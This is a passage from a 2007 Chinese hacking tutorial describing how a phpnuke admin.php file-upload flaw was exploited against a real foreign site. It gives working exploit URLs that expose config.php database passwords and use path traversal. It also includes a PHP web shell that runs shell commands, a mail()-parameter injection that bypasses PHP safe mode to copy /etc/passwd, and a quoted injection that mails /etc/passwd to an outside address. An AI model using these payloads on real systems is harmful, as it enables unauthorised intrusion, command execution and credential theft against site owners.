文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院网络技术黑客技术SAN是怎么利用phpnuke的漏洞做坏事的
精品推荐
特别推荐
·简单方法查找黑客老巢
·一次入侵过程的公开分析
·快速利用135端口入侵个人电脑
·基础知识 初级黑客安全技术命令详解
·IPC$入侵的高级手段与方法
·在QQ上与任意陌生人聊天的新绝招
·“黑客”教你如何远程控制计算机
·多种DDoS攻击技术方法
·黑客入侵前的信息收集
·看黑客如何发动对电子邮件系统的攻击
·经典:各个网络端口的入侵方法
·防范黑客 从两大方面阻止域名被劫持
·黑客、红客、蓝客、飞客究竟是什么?
·认清虚虚实实的“ARP攻击”防御方法
·黑客知识 彻底堵死SQL注入工具漏洞
·赛迪网"IT技术百家讲坛"开讲 如何防御黑客?
·黑客如何利用DNS欺骗在局域网中挂马
·Windows黑客编程基础
·黑客很狡猾 如何减轻DDoS攻击危害?
·网络攻击的几种攻击与防御手法大揭秘
热点TOP10
·最详细的黑客入门法则
·“黑客”教你如何远程控制计算机
·我是怎么进入他人计算机的
·经典常见计算机密码破解实用手册
·黑客技术之知道对方IP入侵别人的电脑
·不用任何软件(木马程序)盗取账号密码
·基础知识 初级黑客安全技术命令详解
·从零开始学黑客:网络黑客新手入门指南
·Windows黑客编程基础
·菜鸟变黑客高手
·流光5.0使用小窍门
·Telnet高级入侵攻略及原理
·收费网站破解攻略
·谁能知道微软在你的计算机里隐藏的秘密
·黑客破解电脑密码实用技巧大全!
·迎刃而解——破解密码的常用工具
·经典:各个网络端口的入侵方法
·快速利用135端口入侵个人电脑
·用IE即可轻松远程控制对方电脑
·让对方QQ掉线代码

SAN是怎么利用phpnuke的漏洞做坏事的

日期:2007年4月29日 作者: 查看:[大字体 中字体 小字体]



  一、phpnuke的漏洞
  2001-9-24日的bugtraq里,有一则短短的twlc security divison,说明了phpnuke所有版本(除了5.0RC1)的admin.php文件中,存在一个文件上传的漏洞,因为没有对用户的身份进行验证,所以任何一个用户都可以借此拷贝机器上的任意文件到phpnuke或者phpnuke以外的任意一个有权限的目录。有问题的代码出在下面这段:
  
  $basedir = dirname($SCRIPT_FILENAME);
  $textrows = 20;
  $textcols = 85;
  $udir = dirname($PHP_SELF);
  if(!$wdir) $wdir="/";
  if($cancel) $op="FileManager";
  if($upload) {
   //^^^^^^
   // +----------------->只是判断是否$upload=1,而没有做任何身份的验证
    copy($userfile,$basedir.$wdir.$userfile_name);
    $lastaction = ""._UPLOADED." $userfile_name --> $wdir";
    // This need a rewrite -------------------------------------> OMG! WE AGREEEEEEEE lmao
    //include("header.php");
    //GraphicAdmin($hlpfile);
    //html_header();
    //displaydir();
    $wdir2="/";
    chdir($basedir . $wdir2);
    //CloseTable();
    //include("footer.php");
    Header("Location: admin.php?op=FileManager");
    exit;
  }
  
  phpnuke是一个使用非常广泛的php程序,国内外有许多大的UNIX\GNU\Linux站点都是使用这套程序,而一般使用者都很少disable掉里面一些看起来非常强大,但实则容易出问题的函数。而且phpnuke做出来的页面,风格非常明显,易于辨认,所以san就找了一个国外站点试了试……
  
  二、简单利用
  很直接的利用方法就是,用下面的语句将phpnuke的配置文件config.php拷贝到phpnuke目录下的images/hacked.txt,如下:
  
  http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php&userfile_name=hacked.txt
  
  这样通过在浏览器上输入:
  
  http://www.server.net/images/hacked.txt,就可以看到config.php的内容了,当然包括里面的sql密码等敏感信息,比如下面就是该server的config.php片断:
  
  -----------------snip--------------------------
  
  ######################################################################
  # Database & System Config
  #
  # dbhost:  MySQL Database Hostname
  # dbuname: MySQL Username
  # dbpass:  MySQL Password
  # dbname:  MySQL Database Name
  # system:  0 for Unix/Linux, 1 for Windows
  ######################################################################
  
  $dbhost = "localhost";
  $dbuname = "phpnuke";
  $dbpass = "nukeitnow";
  $dbname = "phpnuke_44";
  $system = 0;
  
  -----------------snip--------------------------
  
  而且,通过这一漏洞,你甚至可以将文件复制到phpnuke以外的目录,比如(这是俺在自己机器上测试的:):
  
  root@somehost:/tmp > ls -la
  total 20
  drwxrwxrwt  8 root   root     2048 Sep 25 13:37 .
  drwxr-xr-x 19 root   root     2048 Feb 28 2001 ..
  drwxrwxrwt  2 root   root     2048 Mar 6 2001 .X11-unix
  -rw-r--r--  1 root   root     851 Sep 25 13:37 copyme.txt
  ....
  
  在浏览器里输入以下url:
  
  http://www.server.net/admin.php?upload=1&wdir=/../../../../../../../tmp&userfile=/../../../../../../../tmp/copyme.txt&userfile_name=/../../../../../../../tmp/hacked.txt
  
  root@somehost:/tmp > ls -la
  total 20
  drwxrwxrwt  8 root   root     2048 Sep 25 13:37 .
  drwxr-xr-x 19 root   root     2048 Feb 28 2001 ..
  drwxrwxrwt  2 root   root     2048 Mar 6 2001 .X11-unix
  -rw-r--r--  1 root   root     851 Sep 25 13:37 copyme.txt
  -rwxr-xr-x  1 wwwrun  wwwrun    851 Sep 25 13:37 hacked.txt
  ....
  
  hacked.txt已经被顺利地复制到/tmp下面了。
  
  通常这时候是先试试看passwd吧……但是当san希望通过指定不同的文件名,来将/etc/passwd文件拷贝到images目录下时,却发生了意外……:
  
  输入如下url:
  
  http://www.server.net/admin.php?upload=1&file=/etc/passwd&file_name=hacked.txt&wdir=/images/&userfile=/etc/passwd&userfile_name=hacked.txt
  
  浏览器里返回的结果有这么一句话:
  
  Warning: SAFE MODE Restriction in effect. The script whose uid is 180 is not allowed to access /etc/passwd owned by uid 0 in /home/htdocs/www-edu/admin.php on line 398
  
  本来以为这样便将/etc/passwd文件复制到images/hacked.txt了,同样可以通过浏览器来看到它,但结果却是不让拷,实在有些扫兴,但这也越发激起了san的斗志……xixi。
  
  三、文件上传
  1、脚本文件
  
  但是只能浏览一些敏感信息,xundi姐姐觉得不太满意,提出要能执行命令的要求,于是san只好再挖空心思……首先是写一个简单的php脚本,如果将它上载到服务器上,便可以利用该脚本执行命令了:
  
  ------------test1.php------------
  <?php
  echo" 
  "; 
  system("$cmd"); 
  echo" 
  "; 
  ?>
  ------------test1.php------------
  
  2、上载文件至phpnuke目录下
  
  当执行完比如
  http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php&userfile_name=hacked.txt
  
  这样的命令后,phpnuke返回的是filemanager的界面,这时我们就可以简单地选择在选择本地的文件后,选择upload把文件传到当前目录下(现在是images/下面),就这样,san把test1.php传上去了……
  
  3、执行命令
  
  在浏览器中输入http://www.server.net/images/test1.php?cmd=id,按照我们的构想,应该返回web server运行者的id号,但结果……
  
  居然返回空白?
  
  4、safe mod
  
  原来是这台web server使用了php的safe mod来运行,下面的例子是从php的安全模式说明文件中摘出来的,比如我们希望在一台以safe mod运行的php web server上执行下面代码:
  
  <?php
  readfile('/etc/passwd');
  ?> 
   
  结果浏览器会返回如下结果:
  
  results in this error when Safe Mode is enabled: Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
  allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2
  
  这就是前面我们无法拷贝/etc/passwd的原因了,同样的,在安全模式下,system()调用等等也是被禁止的,我们只能够执行safe_mode_exec_dir里允许的可执行文件,所以,我们的test1.php在这里失去了用武之地……
  
  四、突破限制
  1、突破safe mod
  
  先让我们看看san在他的一篇文章里写到的:
  
  -------------------snip------------------------
  2、mail函数的第五个参数
  在php-4.0.5的时候,mail函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数, 但是没有很好的检查特殊SHELL命令字符,所以出现执行命令的大问题。就像手册里的例子: mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME"); 这个是存在问题的,如果$SERVER_NAME=;mail san@xfocus.org < /etc/passwd就能把机器的密码发送到我的信箱了。
  
  这里提醒一下,php手册里还有好几个例子存在安全问题的,大家实际使用的时候不要照搬,它只是演示函数的基本功能,理解了就可以了。
  
  对于mail函数的这个问题,最简单的我们就不用这个第五个参数,要使用就过滤非法的字符如(;),还有就是修改 php源码包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行: extra_cmd=NULL
  
  然后重新编译。
  -------------------snip------------------------
  
  通过这一原理,我们准备突破safe mod的限制了……先看看san写的test2.php
  
  -----------------test2.php-------------------------
  <?
  mail("nobody@kk.com", "the subject", $message, "From: webmaster@;cp /etc/passwd /home/htdocs/www-edu/images/kk.txt", "-fwebmaster@;cp /etc/passwd /home/htdocs/www-edu/images/kk.txt");?>
  -----------------test2.php-------------------------
  
  将test2.php上传到web服务器上并执行后,我们从浏览器中看http://www.somesite.net/images/kk.txt,可以看到,我们已经可以拷贝/etc/passwd了,也就是说,已经突破了safe mod的限制了……下面便是passwd的片断:
  <
[1] [2] 下一页 




上一篇:从零开始学黑客:网络黑客新手入门指南

下一篇:从一次简单的3389入侵工程了解黑客技术

SAN是怎么利用phpnuke的漏洞做坏事的 相关文章:
·IE浏览器再现严重安全漏洞 微软紧急发补丁程序
·我是怎么进入他人计算机的
·QQ木马到底怎么做 QQ挂马方法大揭密
·[赚钱]教你怎么刷官职
·利用腾讯漏洞取回QQ密码
·怎么样重装系统后能使电脑更快?
·怎么用虚拟光驱装系统?
·利用Google突破封锁:下载想要的东西
·在 C++ Builder中利用串行通信控件编程
·快速利用135端口入侵个人电脑
SAN是怎么利用phpnuke的漏洞做坏事的 相关软件:
·Win2000输入法漏洞最新官方补丁中文版
·飞龙文章系统上传漏洞
·利用IE修复专家突破网吧的多重限制
·BBSXP SQL版漏洞演示+工具
·澎湃 番茄花园漏洞补丁 bat&reg 漏洞比病毒可怕
·精英惹是非,怎么办
·东方卫士--系统漏洞专查工具Build 2002.06.21
·惊云漏洞详细版
·动网之星空驿站插件漏洞
·宁夏大学 澎湃 番茄花园v2.9漏洞补丁 bat&reg 极品

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.vipcn.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.vipcn.com All Rights Reserved. 鄂ICP备05000083号Powered by:vipcn